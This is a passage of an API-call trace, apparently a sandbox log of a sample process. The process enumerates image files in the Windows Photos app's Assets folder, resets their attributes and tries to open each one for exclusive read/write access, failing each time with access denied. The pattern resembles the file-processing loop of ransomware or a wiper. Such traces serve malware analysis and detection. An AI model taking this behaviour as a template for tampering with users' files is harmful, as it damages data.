	[0090.994] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.994] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.994] wcscat (in: _Dest=0x2d86010, _Source="PhotosLargeTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-125.png"
	[0090.994] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-black_scale-125.png")) returned 0x20
	[0090.996] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.996] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.996] GetLastError () returned 0x5
	[0090.996] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0090.996] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.997] wcscmp (_String1="PhotosLargeTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.997] wcscmp (_String1="PhotosLargeTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d86010
	[0090.997] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.997] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.997] wcscat (in: _Dest=0x2d86010, _Source="PhotosLargeTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-125.png"
	[0090.997] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-white_scale-125.png")) returned 0x20
	[0090.998] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.999] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.999] GetLastError () returned 0x5
	[0090.999] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.999] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0090.999] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x55d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.scale-125.png", cAlternateFileName="")) returned 1
	[0090.999] wcscmp (_String1="PhotosLargeTile.scale-125.png", _String2=".") returned 1
	[0090.999] wcscmp (_String1="PhotosLargeTile.scale-125.png", _String2="..") returned 1
	[0090.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x2d86010
	[0090.999] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0090.999] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0090.999] wcscat (in: _Dest=0x2d86010, _Source="PhotosLargeTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-125.png"
	[0090.999] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoslargetile.scale-125.png")) returned 0x20
	[0091.002] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.002] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photoslargetile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.002] GetLastError () returned 0x5
	[0091.002] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0091.002] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0091.002] wcscmp (_String1="PhotosMedTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0091.002] wcscmp (_String1="PhotosMedTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0091.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481ebb8
	[0091.002] wcscpy (in: _Dest=0x481ebb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.002] wcscat (in: _Dest=0x481ebb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.002] wcscat (in: _Dest=0x481ebb8, _Source="PhotosMedTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-125.png"
	[0091.002] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-black_scale-125.png")) returned 0x20
	[0091.006] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.006] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.006] GetLastError () returned 0x5
	[0091.006] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.006] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0091.006] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0091.006] wcscmp (_String1="PhotosMedTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0091.006] wcscmp (_String1="PhotosMedTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0091.006] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481ea70
	[0091.006] wcscpy (in: _Dest=0x481ea70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.006] wcscat (in: _Dest=0x481ea70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.006] wcscat (in: _Dest=0x481ea70, _Source="PhotosMedTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-125.png"
	[0091.006] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-white_scale-125.png")) returned 0x20
	[0091.010] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.010] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosmedtile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.010] GetLastError () returned 0x5
	[0091.010] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.010] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ea70) returned 1
	[0091.010] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosMedTile.scale-125.png", cAlternateFileName="")) returned 1
	[0091.010] wcscmp (_String1="PhotosMedTile.scale-125.png", _String2=".") returned 1
	[0091.010] wcscmp (_String1="PhotosMedTile.scale-125.png", _String2="..") returned 1
	[0091.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d86010
	[0091.010] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.010] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.010] wcscat (in: _Dest=0x2d86010, _Source="PhotosMedTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-125.png"
	[0091.010] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosmedtile.scale-125.png")) returned 0x20
	[0091.013] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.013] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photosmedtile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.013] GetLastError () returned 0x5
	[0091.013] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosMedTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.013] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0091.013] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0091.013] wcscmp (_String1="PhotosSmallTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0091.013] wcscmp (_String1="PhotosSmallTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0091.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d86010
	[0091.013] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.013] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.013] wcscat (in: _Dest=0x2d86010, _Source="PhotosSmallTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-125.png"
	[0091.013] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-black_scale-125.png")) returned 0x20
	[0091.017] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.017] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\photossmalltile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.017] GetLastError () returned 0x5
	[0091.017] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86010) returned 1
	[0091.017] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ed3b97, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86ed3b97, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86ed3b97, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosSmallTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0091.017] wcscmp (_String1="PhotosSmallTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0091.017] wcscmp (_String1="PhotosSmallTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0091.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2d86010
	[0091.017] wcscpy (in: _Dest=0x2d86010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets"
	[0091.017] wcscat (in: _Dest=0x2d86010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\"
	[0091.017] wcscat (in: _Dest=0x2d86010, _Source="PhotosSmallTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\PhotosSmallTile.contrast-white_scale-125.png"
